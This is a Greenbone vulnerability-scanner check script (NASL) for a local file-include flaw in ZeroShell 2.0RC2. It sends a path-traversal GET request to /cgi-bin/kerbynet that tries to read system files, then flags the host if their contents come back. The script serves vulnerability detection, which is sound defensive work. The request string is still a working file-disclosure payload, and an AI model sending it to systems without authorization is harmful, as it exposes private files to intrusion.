ZeroShell 2.0RC2 File Disclosure / Command Execution Vulnerability - Active Check

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103761");
  script_version("2026-03-17T05:57:28+0000");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_tag(name:"last_modification", value:"2026-03-17 05:57:28 +0000 (Tue, 17 Mar 2026)");
  script_tag(name:"creation_date", value:"2013-08-14 10:33:56 +0200 (Wed, 14 Aug 2013)");
  script_name("ZeroShell 2.0RC2 File Disclosure / Command Execution Vulnerability - Active Check");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("find_service.nasl", "httpver.nasl", "os_detection.nasl",
                      "global_settings.nasl");
  script_require_ports("Services/www", 443);
  script_mandatory_keys("Host/runs_unixoide");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/122799/ZeroShell-2.0RC2-File-Disclosure-Command-Execution.html");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to view files or execute
  arbitrary script code in the context of the web server process. This may aid in further attacks.");

  script_tag(name:"vuldetect", value:"Send a GET request, try to include a local file and check the response.");

  script_tag(name:"insight", value:"Input to the 'Object' value in /cgi-bin/kerbynet is not properly sanitized.");

  script_tag(name:"solution", value:"Updates are available. Please see the references for more information.");

  script_tag(name:"summary", value:"ZeroShell is prone to a local file-include vulnerability because it
  fails to sufficiently sanitize user-supplied input.");

  script_tag(name:"affected", value:"ZeroShell version 2.0RC2 is vulnerable. Other versions may also
  be affected.");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");
include("os_func.inc");
include("traversal_func.inc");

port = http_get_port(default:443);

buf = http_get_cache(item:"/", port:port);
if(!buf || ("<title>ZeroShell" >!< buf && "/cgi-bin/kerbynet" >!< buf))
  exit(0);

files = traversal_files("linux");

foreach pattern(keys(files)) {

  file = files[pattern];

  url = "/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../" + file;
  req = http_get(item:url, port:port);
  buf = http_keepalive_send_recv(port:port, data:req);

  if(match = egrep(string:buf, pattern:pattern)) {
    report = http_report_vuln_url(port:port, url:url);
    report += '\nResponse:       ' + chomp(match);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);